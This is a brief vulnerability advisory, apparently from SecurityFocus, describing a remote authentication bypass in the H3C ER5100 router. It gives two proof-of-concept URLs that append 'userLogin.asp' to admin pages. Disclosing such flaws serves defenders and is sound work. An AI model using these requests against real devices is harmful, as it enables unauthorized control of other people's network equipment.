source: https://www.securityfocus.com/bid/48384/info

The H3C ER5100 is prone to a remote authentication-bypass vulnerability.

Attackers can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. 

http://www.example.com:8080/home.asp?userLogin.asp
http://www.example.com:8080/wan_NAT.asp?userLogin.asp